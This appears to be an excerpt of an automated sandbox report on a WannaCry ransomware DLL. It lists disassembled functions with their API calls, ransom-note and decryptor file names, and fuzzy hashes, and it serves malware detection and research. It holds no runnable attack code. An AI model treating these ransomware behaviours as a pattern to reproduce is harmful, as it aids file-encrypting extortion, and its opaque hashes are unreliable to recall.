                                                                                                                                                                                • Instruction Fuzzy Hash: FFF04475808701ABF704DB54DC44AEF73E4EBC4785F508928F94982194F7389659C797
                                                                                                                                                                                Function 10005120 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 30fileCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                  • Part of subcall function 10005060: GetWindowsDirectoryW.KERNEL32(?,00000104,?,?), ref: 10005075
                                                                                                                                                                                  • Part of subcall function 10005060: GetTempPathW.KERNEL32(00000104,?), ref: 10005094
                                                                                                                                                                                  • Part of subcall function 10005060: wcslen.MSVCRT ref: 100050A1
                                                                                                                                                                                  • Part of subcall function 10005060: wcslen.MSVCRT ref: 100050AB
                                                                                                                                                                                  • Part of subcall function 10005060: wcslen.MSVCRT ref: 100050B9
                                                                                                                                                                                • swprintf.MSVCRT(?,%s\hibsys%s,?,.WNCRYT), ref: 1000516A
                                                                                                                                                                                • DeleteFileW.KERNEL32(?), ref: 10005174
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000097.00000002.1487865413.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                • Associated: 00000097.00000002.1487818051.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487914922.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487961054.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1488015515.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: wcslen$DeleteDirectoryFilePathTempWindowsswprintf
                                                                                                                                                                                • String ID: %s\hibsys%s$.WNCRYT
                                                                                                                                                                                • API String ID: 1822766362-1629340253
                                                                                                                                                                                • Opcode ID: c2125cb9b9528fd99c790bb07f7878e09f7b9727c9a924ceadf419b2fee26583
                                                                                                                                                                                • Instruction ID: 2c74e765b5fe5e1610888ec37e9d1c160ce3ed4c59201b8465cba371c669a0b1
                                                                                                                                                                                • Opcode Fuzzy Hash: c2125cb9b9528fd99c790bb07f7878e09f7b9727c9a924ceadf419b2fee26583
                                                                                                                                                                                • Instruction Fuzzy Hash: 76F0A03550431477E310E708CC89EEFBBA8FFC4381F404928F58892295EB3AA61886E7
                                                                                                                                                                                Function 10001910 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 23COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • wcscpy.MSVCRT ref: 10001920
                                                                                                                                                                                • swprintf.MSVCRT(?,%s\%d%s,?,?,.WNCRYT), ref: 1000194B
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000097.00000002.1487865413.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                • Associated: 00000097.00000002.1487818051.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487914922.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487961054.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1488015515.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: swprintfwcscpy
                                                                                                                                                                                • String ID: %s\%d%s$.WNCRYT
                                                                                                                                                                                • API String ID: 2253494011-2625268679
                                                                                                                                                                                • Opcode ID: 000e3091f5fb392741d9349167afd51cb84987f96780d8c4e66d3e6cc1a6ed01
                                                                                                                                                                                • Instruction ID: 3af0f3f7c414dc9b2a655466e87540e4a569b33180c9e8bcda9b168f9dff8f6e
                                                                                                                                                                                • Opcode Fuzzy Hash: 000e3091f5fb392741d9349167afd51cb84987f96780d8c4e66d3e6cc1a6ed01
                                                                                                                                                                                • Instruction Fuzzy Hash: 1AE04FB7900610AFE310CB18DC89DEB77A8EBD9301F05052AFA4E97285DBB57915CBB1
                                                                                                                                                                                Function 10003200 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 16fileCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • swprintf.MSVCRT(?,%s\%s,?,@Please_Read_Me@.txt), ref: 1000321A
                                                                                                                                                                                • CopyFileW.KERNEL32(@Please_Read_Me@.txt,?,00000001), ref: 1000322F
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000097.00000002.1487865413.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                • Associated: 00000097.00000002.1487818051.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487914922.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487961054.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1488015515.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: CopyFileswprintf
                                                                                                                                                                                • String ID: %s\%s$@Please_Read_Me@.txt
                                                                                                                                                                                • API String ID: 1805135926-3539309323
                                                                                                                                                                                • Opcode ID: c411f0acc78ad9d9e9ffb173ee46626fa9530a000aff35feebebf6a00c7dad47
                                                                                                                                                                                • Instruction ID: 80308d71e87a2662e96619a8ebef87edecea0aea765e2410c23067d00ef2c009
                                                                                                                                                                                • Opcode Fuzzy Hash: c411f0acc78ad9d9e9ffb173ee46626fa9530a000aff35feebebf6a00c7dad47
                                                                                                                                                                                • Instruction Fuzzy Hash: 8BD01771818204BFF314DB68DD89EBA7268FB84384F448A08F65D90198D73599288A67
                                                                                                                                                                                Function 10003240 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 16fileCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • swprintf.MSVCRT(?,%s\%s,?,@WanaDecryptor@.exe.lnk), ref: 1000325A
                                                                                                                                                                                • CopyFileW.KERNEL32(@WanaDecryptor@.exe.lnk,?,00000001), ref: 1000326F
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000097.00000002.1487865413.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                • Associated: 00000097.00000002.1487818051.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487914922.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487961054.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1488015515.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: CopyFileswprintf
                                                                                                                                                                                • String ID: %s\%s$@WanaDecryptor@.exe.lnk
                                                                                                                                                                                • API String ID: 1805135926-795331943
                                                                                                                                                                                • Opcode ID: c250b24136dea1bfe6b7898258367bb7c04f3b9dc65f4485c6e2413ddd54f61a
                                                                                                                                                                                • Instruction ID: aabba5d832825d18aa2892ebc93e0d9c0cb5ad894a116947d65cfddac51ae073
                                                                                                                                                                                • Opcode Fuzzy Hash: c250b24136dea1bfe6b7898258367bb7c04f3b9dc65f4485c6e2413ddd54f61a
                                                                                                                                                                                • Instruction Fuzzy Hash: C5D01771814204BFF318DB68DD89FBA7268FB84384F448908F65D90198D73599288667
                                                                                                                                                                                Function 10003280 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 16fileCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • swprintf.MSVCRT(?,%s\%s,?,@WanaDecryptor@.exe), ref: 1000329A
                                                                                                                                                                                • CopyFileW.KERNEL32(@WanaDecryptor@.exe,?,00000001), ref: 100032AF
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000097.00000002.1487865413.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                • Associated: 00000097.00000002.1487818051.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487914922.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487961054.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1488015515.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: CopyFileswprintf
                                                                                                                                                                                • String ID: %s\%s$@WanaDecryptor@.exe
                                                                                                                                                                                • API String ID: 1805135926-3253365116
                                                                                                                                                                                • Opcode ID: c732863aad36b8ae60cc70cd27384ffc3547b56df3ffae6353cc428869aacd62
                                                                                                                                                                                • Instruction ID: 59ab5ee0cc2050cc8eb19bdd64a6c19fde071768e575255f68a05fb53c163eac
                                                                                                                                                                                • Opcode Fuzzy Hash: c732863aad36b8ae60cc70cd27384ffc3547b56df3ffae6353cc428869aacd62
                                                                                                                                                                                • Instruction Fuzzy Hash: 58D05E71814304BFF314DBA8DD89FBA7368FB84384F448909F65D90198D73999288677
                                                                                                                                                                                Function 100027F0 Relevance: 6.1, APIs: 4, Instructions: 111COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • ??2@YAPAXI@Z.MSVCRT ref: 1000281A
                                                                                                                                                                                  • Part of subcall function 10002300: ??2@YAPAXI@Z.MSVCRT ref: 10002332
                                                                                                                                                                                  • Part of subcall function 10002300: swprintf.MSVCRT ref: 10002388
                                                                                                                                                                                  • Part of subcall function 10002300: FindFirstFileW.KERNEL32(?,?,?,00000000,00000000,?), ref: 1000239E
                                                                                                                                                                                  • Part of subcall function 10002300: ??3@YAXPAX@Z.MSVCRT ref: 100023D2
                                                                                                                                                                                  • Part of subcall function 10002300: ??3@YAXPAX@Z.MSVCRT ref: 10002404
                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT ref: 10002899
                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT ref: 100028FD
                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT ref: 10002917
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000097.00000002.1487865413.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                • Associated: 00000097.00000002.1487818051.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487914922.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487961054.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1488015515.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: ??3@$??2@$FileFindFirstswprintf
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 47495585-0
                                                                                                                                                                                • Opcode ID: d18048affcd4456aa13d4115d4c6d1e9207ca64b2d2a8bd607d58c0dc721ce39
                                                                                                                                                                                • Instruction ID: 82684585b8c809215c3c6d914d8a3584cbabbf0c50e88e9df694160166eba937
                                                                                                                                                                                • Opcode Fuzzy Hash: d18048affcd4456aa13d4115d4c6d1e9207ca64b2d2a8bd607d58c0dc721ce39
                                                                                                                                                                                • Instruction Fuzzy Hash: BE4158B96043419FE304DF18C880B1AB7E5FF88354F148A6DE9959B3A5DB30EC05CB92
                                                                                                                                                                                Function 10005480 Relevance: 6.1, APIs: 4, Instructions: 65COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • SHGetFolderPathW.SHELL32(00000000,00000000,00000000,00000000,75730F00,75730F00,00000000,00000000), ref: 100054B6
                                                                                                                                                                                • wcslen.MSVCRT ref: 100054C3
                                                                                                                                                                                • SHGetFolderPathW.SHELL32(00000000,00000005,00000000,00000000,?), ref: 100054F5
                                                                                                                                                                                • wcslen.MSVCRT ref: 100054FC
                                                                                                                                                                                  • Part of subcall function 100027F0: ??2@YAPAXI@Z.MSVCRT ref: 1000281A
                                                                                                                                                                                  • Part of subcall function 100027F0: ??3@YAXPAX@Z.MSVCRT ref: 100028FD
                                                                                                                                                                                  • Part of subcall function 100027F0: ??3@YAXPAX@Z.MSVCRT ref: 10002917
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000097.00000002.1487865413.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                • Associated: 00000097.00000002.1487818051.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487914922.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487961054.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1488015515.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: ??3@FolderPathwcslen$??2@
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 2093780229-0
                                                                                                                                                                                • Opcode ID: d163edc3916c72bdfd07bfe83d2c2948d88e62c2738cec1ca9194f5dc8d6a920
                                                                                                                                                                                • Instruction ID: ae209c0b6bb9dcbb05d21899376679ada1f922680f23bc9f9cb6150d3ff098d6
                                                                                                                                                                                • Opcode Fuzzy Hash: d163edc3916c72bdfd07bfe83d2c2948d88e62c2738cec1ca9194f5dc8d6a920
                                                                                                                                                                                • Instruction Fuzzy Hash: 3211E3796843057AF610E724CC82F9B7398EFC4790F008829B749961C5EAF4B5048B66